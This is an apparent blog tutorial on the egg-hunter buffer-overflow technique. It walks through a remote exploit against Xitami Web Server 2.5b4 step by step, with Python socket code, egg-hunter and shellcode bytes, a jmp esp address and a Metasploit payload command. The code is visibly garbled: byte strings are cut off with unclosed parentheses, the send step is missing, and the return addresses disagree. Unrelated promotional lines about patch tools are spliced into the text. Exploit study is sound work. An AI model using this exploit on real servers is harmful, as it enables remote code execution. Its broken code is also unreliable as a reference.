Hunting the Egg: Egg Hunter

  • Post author:
  • Reading time:8 mins read

A bit of a background on buffer overflow to begin with. A buffer overflow occurs when a program tries to write more data into a buffer than it can. This makes it overrun and writes data in an unallocated memory location. If we carefully craft the data, we can control the flow of execution and then direct it toward executing arbitrary code. Patch management software can deploy patches very quickly.

An attacker puts his shellcode in the available buffer space to execute arbitrary code. These attacks can be avoided with the help of a good vulnerability management tool.

What if the shellcode requires more space than the available space in the buffer?

This is where the egg-hunter technique is useful. Egg hunter is a small piece of shellcode that searches for an actual bigger shellcode that the attacker could not fit in the available buffer space and redirect execution flow to it.

The egg hunter code searches for an “EGG,” which is a unique string of 8 bytes made up of combining two “TAG”. A “TAG” is a 4-byte unique string. Usually, attackers consider using strings like “w00t”, “lx xl,” or any other unique strings to search in memory. An “EGG” is formed by combining two “TAG” to make it more unique so that it won’t come across itself while searching in memory. The “EGG” is placed just before the “Shellcode,” and the egg hunter code is placed in the small available buffer space while exploiting the overflows.

EGG = TAG + TAG i.e (lxxl) + (lxxl)


The basic mechanism of exploiting a stack overflow using egg hunter: When stack overflow occurs at some point, it overwrites the EIP register (EIP points to the next instruction to be executed). Then we should make an EIP point to ESP where our shellcode will be present. In some cases, shellcode might be just above the ESP; in that case, we need to jump back and execute shellcode which is egg hunter in this case, which searches for “EGG” in the entire memory and executes actual shellcode, which is next “EGG”.

Let’s execute our shellcode, making use of the egg hunter technique. We shall use Xitami Web Server 2.5b4, which has a remote buffer overflow vulnerability. We also need Immunity debugger and plugin. The Xitami Web Server crashes if we send 72 or more bytes of data in the ‘If-Modified-Since’ header.

Below is simple Python code to crash the server.
import socket;

buf = "A" * 72
header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload..."

This code crashes the server.

We now know that we have about 72 bytes of buffer space with us, which is very less to fit in our shellcode.

Add 4 more bytes of data to the “buf” variable to check the EIP register is overwriting its value “BBB”.

buf += "BBBB” 


From the above screenshot, it’s clear that the EIP register is overwritten with value “B” (i.e. “42” in hex ) and sent data in the above section of the screenshot.

Now let’s execute our shellcode using the egg hunter technique. We will use the “NTAccessCheckAndAuditAlarm” egg hunter technique, which is 32 bytes and easily fits in the available buffer space of 72 bytes.

Below is the hex code of the egg hunter.

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x6c\x78\x78\x6c" # Tag == lxxl

We will modify our “buf” variable to fit our hunter code.

buf = “A” * 35 #35 bytes
buf += hunter #32 bytes
buf += “A” * 5 #5 bytes
# Total 72 bytes

As we can see above,  our data is present in ESP, so next, we need to place the ESP address in EIP so that we can jump to ESP, and the egg hunter code is present just above where ESP is pointing.

To find out the “jmp esp” address in loaded modules, we will use the Mona plugin in the immunity debugger

!mona jmp -r esp”

returns with the ESP address.

Add ESP address to the “buf” variable.

buf += "\x7b\x46\x86\x7c" #jmp esp address

Now we will be in ESP and need to jump backward to the buffer to collide with our egg hunter code.

buf += "\xeb\xc4" # \xeb --> jmp \xc4 –60 bytes

As the egg hunter code executes, it hunts for the EGG in all the memory location and executes the shellcode, which is next to the egg.

Now it is time to generate our shellcode. We will be generating a shellcode to execute calc.exe. Metasploit helps us to generate the shellcode. Make use of the below command in Metasploit to generate shellcode.

msfpayload windows/exec CMD=calc.exe R | msfencode -b ‘\x00\x0A\x0D’ -t c”

Our final Python program will be as below,

import socket;

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

shellcode = ("\xd9\xcf\xb8\x24\xd4\x20\xaa\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"

buf = "A"*35
buf += hunter
buf += "A"*5
buf += "\x13\x44\x87\x7c" #ESP Address
buf += "\xeb\xc4" #Jump backward
buf += "lxxllxxl" + shellcode

header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload"

There are several egg-hunter techniques for Win32 and Linux applications, as mentioned in the skape paper.

For Linux
  1. access(2) – 39 bytes
  2. access(2) revisited – 35 bytes
  3. sigaction(2) – 30 bytes
For Windows
  1. Structured Exception Handling (SEH) – 60 bytes
  2. IsBadReadPtr – 37 bytes
  3. NtDisplayString – 32 bytes
  4. NTAccessCheckAndAuditAlarm – 32 bytes

The egg-hunter technique varies on the basis of available buffer space to fit in the egg-hunter code and also depends on the memory-searching technique in the target system. 

– Shashi Kiran

Share this article